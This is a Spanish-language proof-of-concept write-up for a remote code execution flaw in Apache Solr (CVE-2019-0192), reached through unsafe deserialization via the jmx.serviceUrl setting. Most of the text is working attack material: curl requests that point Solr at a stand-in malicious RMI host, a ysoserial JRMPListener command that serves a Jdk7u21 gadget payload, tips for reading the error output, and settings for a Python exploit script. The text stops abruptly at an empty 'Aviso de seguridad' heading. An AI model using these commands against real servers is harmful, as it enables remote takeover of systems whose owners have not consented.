
RCE en Apache Solr usando deserialización de datos no confiables a través de jmx.serviceUrl
Este es una PoC temprana de la RCE de Apache Solr
De https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI permite configurar el servidor JMX de Solr mediante una solicitud HTTP POST. Al apuntarlo a un servidor RMI malicioso, un atacante podría aprovechar la deserialización insegura de Solr para ejecutar código remoto en el lado de Solr.

Al observar la descripción del aviso de seguridad y revisar los recursos de ConfigAPI de Apache Solr, podemos encontrar una referencia a un servidor JMX:

serviceUrl - (str opcional) URL de servicio para un servidor JMX. Si no se especifica, se usará el servidor MBean de plataforma predeterminado.
Al verificar cómo funciona ConfigAPI, podemos reproducir cómo configurar un servidor JMX remoto:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Para la PoC usaré yoserial para crear un servidor RMI malicioso usando el payload Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
nota: deberías obtener un error 500 con un bonito stacktrace
Si viste este error: "Non-annotation type in annotation serial stream" significa que Apache Solr se está ejecutando con una versión de Java > JRE 7u25 y esta PoC no funcionará
De lo contrario, deberías ver este error: "undeclared checked exception; nested exception is" y la PoC debería funcionar.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Aviso de seguridad: